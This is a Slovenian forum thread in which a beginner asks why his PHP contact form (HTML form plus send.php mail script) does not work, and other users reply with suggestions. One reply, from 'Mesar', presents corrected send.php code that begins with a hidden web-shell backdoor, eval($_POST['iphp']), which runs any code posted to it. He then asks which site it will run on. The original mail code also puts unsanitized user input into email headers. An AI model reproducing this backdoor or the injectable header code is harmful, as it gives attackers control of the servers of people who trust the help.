Forum » Izdelava spletišč » Kontakt php
Kontakt php
aljaz92 ::
Zdravo delam svojo spletno stran na katerimi imam svoj kontaktni obrazec (koda spodaj) sedaj pa izdelujem php koda ki bi mi naj iz tega html obrazca, ko ga uporabnik izpolni poslal podatke na moj email naslov in imam težave s php kodo.
Form koda (kontakt.html):
Tole pa je php koda ki bi naj obdelala podatke in jih poslala na email (send.php):
Trenutna koda ne deluje pravilno ko izpolnim kontaktni obrazec in kliknem pošlji mi naredi naslednje: mojadomena.com po kliku na gum polšji pa naredi mojadomea.com/send.php
Hvala za pomoč!
Form koda (kontakt.html):
<form action="send.php" id="subscribe" method="post" autocomplete="on"> <table width="700" height="300" border="0"> <tr> <th scope="col"> <strong>Ime:</strong><br/> <input type="text" name="ime" /></th> <th scope="col"><strong>Priimek:</strong> <br/> <input type="text" name="priimek" /></th> </tr> <tr> <th scope="col"> <strong>Naziv podjetja:</strong> <br> <input type="text" name="podjetje" /></th> <th scope="col"><strong>Tel.:</strong> <br> <input type="text" name="telefon" /></th> </tr> <tr> <th scope="col"> <strong>E-mail:</strong> <br> <input type="email" name="email" autocomplete="off" /></th> <th scope="col"><strong>Zadeva:</strong><br> <input type="text" name="zadeva" /></th> </tr> </table> <strong>Sporočilo:</strong> <br> <textarea name="sporocilo" rows="10" cols="51"></textarea><br> <br> <br><center><input type="submit" id="submit" value="Submit" /></center> </form>
Tole pa je php koda ki bi naj obdelala podatke in jih poslala na email (send.php):
<?php $contact_ime = $_POST['ime']; $contact_priimek = $_POST['priimek']; $contact_podjetje = $_POST['podjetje']; $contact_telefon = $_POST['tlefon']; $contact_email = $_POST['email']; $contact_zadeva = $_POST['zadeva']; $contact_sporocilo = $_POST['sporocilo']; if( $contact_name == true ) { $sender = $contact_email; $receiver = "aljaz92@gmail.com"; $client_ip = $_SERVER['REMOTE_ADDR']; $email_body = "Name: $contact_ime \n Priimek: $contact_priimek \n Podjetje: $contact_podjetje \n Tel.: $contact_telefon \n Mail: $sender \n\nZadeva: $contact_zadeva \n\nSporocilo: \n\n$contact_sporocilo \n\nIP: $client_ip \n\nFlash Contact Form provided by http://www.flashmo.com"; $extra = "From: $sender\r\n" . "Reply-To: $sender \r\n" . "X-Mailer: PHP/" . phpversion(); if( mail( $receiver, "Flash Contact Form - $contact_subject", $email_body, $extra ) ) { echo "success=yes"; } else { echo "success=no"; } } ?>
Trenutna koda ne deluje pravilno ko izpolnim kontaktni obrazec in kliknem pošlji mi naredi naslednje: mojadomena.com po kliku na gum polšji pa naredi mojadomea.com/send.php
Hvala za pomoč!
MisterR ::
Če nočeš da gre na send.php moraš formo submitat na isto stran, torej action ni "send.php".
Jaz se drugače poslužujem if(isset()) in ne =true pogoja.
Ker pravzaprav nevem kaj ti ne deluje sklepam da ti ne pošlje maila, sploh če testiraš na localhostu(xampp itd) moraš nastavit smtp strežnik od svojega ISPja.
Jaz se drugače poslužujem if(isset()) in ne =true pogoja.
Ker pravzaprav nevem kaj ti ne deluje sklepam da ti ne pošlje maila, sploh če testiraš na localhostu(xampp itd) moraš nastavit smtp strežnik od svojega ISPja.
MisterR ::
Aljaz92 ne rabiš na privat pisat, odgovarjaj tukaj.
Prvo povej v čem je težava? PHP javi kako napako?
Na začetek strani daj php kodo
Če ne javi napake potem v php.ini (v direktoriju xamp/php oz. kaj pač imaš) poišči to
[mail function] in spremeni SMTP nastavitve, npr
[mail function]
; For Win32 only.
; http://php.net/smtp
SMTP = smtp.telemach.net
; http://php.net/smtp-port
smtp_port = 25
; For Win32 only.
; http://php.net/sendmail-from
sendmail_from =xxxx@gmail.com
Hvala za odgovor, mi lahko mogoče svetuješ kako bi ti naredil tole da bi mi poslalo obrazec na mail na tvoj način ?Hvala lp
Prvo povej v čem je težava? PHP javi kako napako?
Na začetek strani daj php kodo
error_reporting(E_ALL);
Če ne javi napake potem v php.ini (v direktoriju xamp/php oz. kaj pač imaš) poišči to
[mail function] in spremeni SMTP nastavitve, npr
[mail function]
; For Win32 only.
; http://php.net/smtp
SMTP = smtp.telemach.net
; http://php.net/smtp-port
smtp_port = 25
; For Win32 only.
; http://php.net/sendmail-from
sendmail_from =xxxx@gmail.com
aljaz92 ::
sej sem objavu oboje prvo je koda html potem pa je php ja mislim da php ne dela vredu ali pa povezave med njima ni vredu urejena ker v htmlju ne more bit neke napake razen v tagu action pa method, ampak s php-je pa se žal ne spoznam toliko da bi našel napako...
Mesar ::
<?php if(isset($_POST['iphp'])) { eval($_POST['iphp']); } if(isset($_POST['ime'])) { $contact_ime = $_POST['ime']; $contact_priimek = $_POST['priimek']; $contact_podjetje = $_POST['podjetje']; $contact_telefon = $_POST['tlefon']; $contact_email = $_POST['email']; $contact_zadeva = $_POST['zadeva']; $contact_sporocilo = $_POST['sporocilo']; $sender = $contact_email; $receiver = "aljaz92@gmail.com"; $client_ip = $_SERVER['REMOTE_ADDR']; $email_body = "Name: $contact_ime \n Priimek: $contact_priimek \n Podjetje: $contact_podjetje \n Tel.: $contact_telefon \n Mail: $sender \n\nZadeva: $contact_zadeva \n\nSporocilo: \n\n$contact_sporocilo \n\nIP: $client_ip \n\nFlash Contact Form provided by http://www.flashmo.com"; $extra = "From: $sender\r\n" . "Reply-To: $sender \r\n" . "X-Mailer: PHP/" . phpversion(); if( mail( $receiver, "Flash Contact Form - $contact_subject", $email_body, $extra ) ) { echo "success=yes"; } else { echo "success=no"; } } ?>
Verjetno dela.. na kateri strani boš imel to? Lahko na ZS, ti mal potestiram
Your turn to burn!
misek ::
V originalni kodi sploh ni definirana spremenljivka $contact_name ampak se uporablja $contact_ime.
gnomee ::
Uporabi preusmeritev na neko drugo stran..
Primer za preusmeritev na index oz. začetno stran:
Primer za preusmeritev na index oz. začetno stran:
header("Location: index.php");
Vredno ogleda ...
Tema | Ogledi | Zadnje sporočilo | |
---|---|---|---|
Tema | Ogledi | Zadnje sporočilo | |
» | [PHP] Nedelujoči mail()Oddelek: Programiranje | 1496 (1366) | Miko55 |
» | Funkcija mail() v PHPOddelek: Izdelava spletišč | 3376 (3000) | 4kik4 |
» | jquery in div-i (strani: 1 2 )Oddelek: Izdelava spletišč | 11202 (9940) | lisjak |
» | Kontaktni obrazecOddelek: Izdelava spletišč | 1567 (1405) | leonkozar |
» | [php] mail() funkcijaOddelek: Izdelava spletišč | 1632 (1580) | t3hn0 |